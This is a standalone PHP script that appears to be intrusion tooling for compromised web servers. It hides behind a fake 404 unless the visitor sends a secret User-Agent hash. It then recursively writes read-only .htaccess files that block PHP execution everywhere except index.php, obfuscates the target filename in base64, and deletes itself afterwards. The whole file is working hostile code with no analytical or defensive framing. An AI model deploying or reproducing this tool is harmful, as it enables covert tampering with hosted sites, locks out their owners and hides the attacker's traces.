<?php
error_reporting(0);
@set_time_limit(0);
session_start();
ini_set('memory_limit', '-1');
define('UAMD53KEY', '39542de4e2fa50462d96ea26e878a658');

if(md5(md5(md5($_SERVER['HTTP_USER_AGENT']))) != UAMD53KEY){
	header('HTTP/1.1 404 Not Found');
	header("status: 404 Not Found");
    die();
}
define('STEP', 2000);
$count = 0;
$total = empty($_GET['total']) ? 0 : $_GET['total'];
echo "total:".$total;
$GLOBALS['lastPathFound'] = false;


$content = '<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>';
$md5content = md5($content);
$tempFile = md5($_SERVER["HTTP_HOST"].$_SERVER['SCRIPT_FILENAME']);
define('TEMP_FILE', $tempFile);
define('HT_CONTENT', $content);
define('HT_CONTENT_MD5', $md5content);
file_put_contents(TEMP_FILE, "1");

$dir = ".";
$lastPath = empty($_GET['lastPath']) ? "" : base64_decode($_GET["lastPath"]);
echo "lastPath:" . $lastPath . "<br>\n";
$path = formatPath($dir);
$lastPath = formatPath($lastPath);

if(file_exists(TEMP_FILE)){
    if(recurDirHt($path, $count, $total, $lastPath)){
        echo "all done!<br>";
        $GLOBALS['lastPath'] = "";
    }
	
	}else{
	echo 'root dir is not writeable, abord!<br>';
}

deletefile($_SERVER['SCRIPT_FILENAME']);
echo 'try to delete :' . $_SERVER['SCRIPT_FILENAME'] . "<br>\n";
echo '<meta http-equiv="refresh" content="0; url=/" />';
die;
function recurDirHt($pathName, &$count, &$total, $lastPath = "")
{
    $lastSubPath = firstSubDir($pathName, $lastPath);
        $result = false;
        if(is_dir($pathName)) {
                $allFiles = scandir($pathName);
        if(empty($lastSubPath)){
            $GLOBALS['lastPathFound'] = true;
        }
                foreach($allFiles as $fileName) {
            $fullName = $pathName.'/'.$fileName;
                        if(in_array($fileName, array('.', '..'))) {
                continue;
            }
            if(is_file($fullName)) {
                continue;
            }
            if(is_link($fullName)) {
                continue;
            }
            if($GLOBALS['lastPathFound'] == true || $fileName == $lastSubPath){ 
                                if($fileName == $lastSubPath){
                    echo "found: ".$lastSubPath."<br>\n";
                }
                if($fullName == $lastPath){
                    $GLOBALS['lastPathFound'] = true;
                    echo "found lastPath".$lastPath."<br>\n";
                }
                if($GLOBALS['lastPathFound'] == true){
                    $count++;
                    $total++;
                    $GLOBALS['lastPath'] = $fullName;
                    echo createHt($fullName);
                    if(STEP <= $count){
                        
                        echo 'Last Path is :' . $fullName . "<br>\n";
                        echo '<meta http-equiv="refresh" content="0; url=?total='.$total.'&lastPath='.base64_encode($fullName).'" />';die;
                    }else{
                        echo "progress:".$count."/".$total."<br>\n";
                    }
                }else{
                    echo 'ignore:' . $fullName . " lastPathFound false!<br>\n";
                }
                                if(!is_link($fullName) && is_dir($fullName) && is_readable($fullName)) {
                                        $result = recurDirHt($fullName, $count, $total, $lastPath);
                }
            }else{
                echo 'ignore:' . $fullName . "<br>\n";
            }
        }
        $result = true;
    }
    return $result;
}

function firstSubDir($path, $lastPath){
    $arrPath = arrPathExplode($path);
    $arrLastPath = arrPathExplode($lastPath);
    foreach($arrLastPath as $k => $v){
        if(!isset($arrPath[$k]) || empty($arrPath[$k])){
            return $v;
        }
    }
    return '';
}


function arrPathExplode($path){
    $path = formatPath($path);
    $arr = explode('/', $path);
    return $arr;
}


function formatPath($path){
    $path = str_replace('\\', '/', $path);
    $path = preg_replace("|/+|", '/', $path);
    $path = rtrim($path, '/');
    return $path;
}


function createHt($path){
    $result = "";
    if(file_exists($path . "/" . TEMP_FILE)){
        $result = $path.'是根目录,放弃执行！因为存在'.$path . "/" . TEMP_FILE.'<br>'."\n";
    }elseif(file_exists($path . "/4c7a17f635a4d887cf587a123b6a6bc4") || file_exists($path . "/.ftpquotas")){
        $result = $path.'是其他网站根目录,放弃执行！<br>'."\n";
    }else{
        $htfile = $path . base64_decode("Ly5odGFjY2Vzcw==");
        file_put_contents_force($htfile, HT_CONTENT);
        chmod($htfile, 0444);
        $thecontent = file_get_contents($path.base64_decode("Ly5odGFjY2Vzcw=="));
        $theContentMd5 = md5($thecontent);
        if($theContentMd5 != HT_CONTENT_MD5){
            $result = $htfile.'更新失败，请联系技术处理！<br>'."\n";
        }else{
            $result = $htfile.' done!<br>'."\n";
        }
    }
    return $result;
}

function file_put_contents_force($filename, $content){
    if(is_file($filename)){
        chmod($filename, 0777);
    }
    file_put_contents($filename, $content);
}

function deletefile($file){
    unlink($file);
    if(file_exists($file)){
        file_put_contents($file, "");
        echo 'delete failed<br>'."\n";
    }
    if(file_exists($file)){
        rename($file, "/tmp/".md5($file.time()));
        echo 'truncat failed<br>'."\n";
    }
    if(file_exists($file)){
        echo 'move failed<br>'."\n";
    }
}
die("done!");
?>